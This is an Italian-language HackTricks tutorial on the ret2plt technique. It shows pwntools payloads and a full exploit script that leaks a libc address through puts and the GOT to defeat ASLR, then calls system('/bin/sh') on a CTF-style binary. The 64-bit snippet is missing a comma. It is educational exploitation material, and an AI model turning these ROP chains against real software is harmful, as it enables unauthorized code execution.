Ret2plt
Reading time: 3 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Informazioni di base
L'obiettivo di questa tecnica sarebbe quello di leakare un indirizzo da una funzione del PLT per poter bypassare ASLR. Questo perché, se ad esempio, leakate l'indirizzo della funzione puts
dalla libc, potete poi calcolare dove si trova la base di libc
e calcolare gli offset per accedere ad altre funzioni come system
.
Questo può essere fatto con un payload pwntools
come (da qui):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Nota come puts
(utilizzando l'indirizzo dal PLT) venga chiamato con l'indirizzo di puts
situato nel GOT (Global Offset Table). Questo perché, quando puts
stampa l'entry del GOT di puts, questa entry conterrà l'indirizzo esatto di puts
in memoria.
Nota anche come l'indirizzo di main
venga utilizzato nell'exploit, così quando puts
termina la sua esecuzione, il binary chiama di nuovo main
invece di uscire (quindi l'indirizzo leak continuerà a essere valido).
caution
Nota come, affinché questo funzioni, il binary non può essere compilato con PIE oppure devi aver trovato un leak per bypassare PIE per conoscere l'indirizzo del PLT, GOT e main. Altrimenti, devi prima bypassare PIE.
Puoi trovare un esempio completo di questo bypass qui. Questo era l'exploit finale di quell'esempio:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Altri esempi e Riferimenti
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare
system('/bin/sh')
- https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts e leakare l'indirizzo di puts dal GOT e poi chiamare un one gadget.
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.